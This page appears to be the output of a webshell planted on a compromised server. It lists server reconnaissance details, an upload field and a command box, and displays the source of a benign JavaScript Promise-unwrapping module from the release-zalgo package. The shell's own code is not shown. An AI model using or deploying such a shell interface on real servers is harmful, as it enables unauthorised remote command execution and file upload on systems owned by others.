403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/node_modules/release-zalgo/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/node_modules/release-zalgo/lib/unwrapSync.js
'use strict'

const ExtendableError = require('es6-error')

const constants = require('./constants')

class UnwrapError extends ExtendableError {
  constructor (thenable) {
    super('Could not unwrap asynchronous thenable')
    this.thenable = thenable
  }
}

// Logic is derived from the Promise Resolution Procedure, as described in the
// Promises/A+ specification: https://promisesaplus.com/#point-45
//
// Note that there is no cycle detection.
function unwrapSync (x) {
  if (!x || typeof x !== 'object' && typeof x !== 'function') {
    return x
  }

  const then = x.then
  if (typeof then !== 'function') return x

  let state = constants.PENDING
  let value
  const unwrapValue = y => {
    if (state === constants.PENDING) {
      state = constants.RESOLVED
      value = y
    }
  }
  const unwrapReason = r => {
    if (state === constants.PENDING) {
      state = constants.REJECTED
      value = r
    }
  }
  then.call(x, unwrapValue, unwrapReason)

  if (state === constants.PENDING) {
    state = constants.ASYNC
    throw new UnwrapError(x)
  }

  if (state === constants.RESOLVED) {
    return unwrapSync(value)
  }

  // state === REJECTED
  throw value
}
module.exports = unwrapSync

Youez - 2016 - github.com/yon3zu
LinuXploit